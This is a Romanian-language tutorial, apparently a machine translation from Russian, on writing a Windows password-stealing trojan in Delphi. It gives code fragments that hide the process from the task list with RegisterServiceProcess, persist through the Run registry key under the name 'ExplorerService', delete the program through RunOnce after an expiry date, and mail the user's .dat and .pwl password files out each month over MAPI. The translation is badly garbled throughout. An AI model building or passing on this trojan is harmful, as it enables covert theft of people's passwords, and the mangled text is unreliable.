Scrie un troian!

Scrie un troian!

Troieni, troieni, troieni. scrie-le este de fapt destul de simplu, în cazul în care, desigur, știu exact ce să scrie :-). Prin urmare, trebuie mai întâi să se dezvolte conceptul, schema, planul, sub care va opera troienii și cel care îl va folosi :-). Să scrie un troyanchik simplu, care este în contact cu computerul va depune un baggla (folclor scoțian - aceasta creatura mica pentru a ajuta o persoană în casă, care este ceva de genul casele noastre) și va, de exemplu, în fiecare lună trimite în mod regulat emylnoy e-mail fișier de utilizator .dat. (Punerea în aplicare pentru% utilizator% .pwl o las pe cititor - pentru a reface / sosire va fi ușor). Pentru a fi specific, și pacea noastră, el se retragă în liniște din accidentul de mașină, să zicem de măsură a luminii, câteva luni de muncă (de exemplu, două sau trei „listservs mail“) :-).







Voi scrie pe Delphi, deoarece acesta este, practic, cea mai ușoară și mai accesibilă pentru limba codor novice. Iar pentru un om simplu care are o experiență suficientă cu computerul, totul aici este destul de transparent pentru înțelegere.

Contracțiile, delir, pierderea conștienței

Primul lucru. Nu, nu avioane :-). Primul pas este de a cui în jos toate ferestrele nou create (folosind File | New Application) de proiect în Delphi, a pus inclusiv formularul principal. Proiectul nu are nevoie pentru unghii :-). Pentru a vedea ce este la stânga, puteți poke „o creatură gri, cu o coadă lungă“ în View | Project Source. Aproximativ va arata astfel:


Tot ceea ce se referă la aplicația, puteți elimina - troienii trebuie să fie liniște, astfel încât tot felul de ferestre pop-up și butoanele din bara de activități nu sunt necesare. Este necesar să se elimine, de asemenea, linia, nu pentru a trage cu pictograme inutile și alte Labuda, atât de greu să stea Delphi. Formularele vor fi șterse, deoarece formele noi nu avem :-). Dar va avea nevoie pentru a conecta o pereche de alte module care vor fi de fapt implicate (!):







Ferestre, // aici descrie aproape toate rapoartele și documentate

// funcție de bibliotecă Vindovz

Registrul, // acest modul de a lucra cu registrul de sistem

MAPI, // si acest lucru - pentru a trimite și primi e-mail-uri

// și nu numai. Dar suntem doar trimiterea ;-)

SysUtils; // suport bibliotecă - caracteristici utile pentru

// string și data / ora.

Înainte de a trece la crearea de corespondență :-), pentru a vă asigura că totul va fi complet invizibil. Firește, luminile intermitente de pe modem nu ascunde, dar totul altceva poate fi transformat fără zgomot și praf. Problemele panoul troieni nu se aprind, pentru că el nu are o fereastră principală și, în consecință, nu există nici un loc pentru a comuta focalizarea. Dar, pe Ctrl + Alt + del, adică lista tuturor sarcinilor va străluci - și cum! Dar această problemă poate fi rezolvată pur și simplu - suficient pentru a pretinde a fi skrinsaverom nevinovat la Vindovz nu mi-a arătat în această listă. Pentru a face acest lucru, utilizați RegisterServiceProcess funcție specială. Din păcate, această caracteristică nu este descrisă în modulele standard de Delphi, deci va trebui să-l descrie pe cont propriu și de a crea un apel de procedură corespunzătoare:

Procedura RegisterServiceProcess; externe 'kernel32.dll' 'RegisterServiceProcess' nume;

Procedura Ascundere; de asamblare;


Am ieșit. Trăiește. Din voturile exprimate.

Noi folosim TRegistry obiect pentru aceste scopuri:

în cazul în care OpenKey ( 'SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run', Adevărat), atunci

dacă Str <> ParamStr (0) apoi WriteString ( 'ExplorerService', ParamStr (0));

În plus, vom scrie și DateResolve DateExpiration - data după care trebuie să fie tăiate în jos doar tras în carcasă lui în fața ei. Dar cum să facă acest lucru, în cazul în care nu vindovz dă acces (pentru a șterge sau scrie) la dosar din care să fie difuzate? Puteți subminata foarte mult cu diferiți parametri sau pentru a crea BATniki, dar în acest caz, este mult mai ușor să facă acest lucru:
în cazul în care Xapakipi atunci

WriteString ( 'LMD', 'del „' + ParamStr (0) + '' ');


Aceasta este doar pentru a pune îndepărtarea propriul fișier în RunOnce - după linia vor fi șterse automat de către sistem. Și totuși - utilizatorul poate nici măcar nu știu niciodată, pentru un motiv oarecare a pornit câteva ore Ineta mai puțin decât în ​​mod normal.

Pentru încă o dată să nu se aprindă (utilizator :-P inteligent plecat acum), puteți apela rapid o zi, dacă nu aveți nevoie pentru a trimite nimic:


în cazul în care nu trimite apoi Exit;

dacă MAPILogon (0, zero, zero, 0, 0, @Handle) = 0 atunci

lpszNoteText: livrarea mesajului =“. sistem de notificare v.01 | „;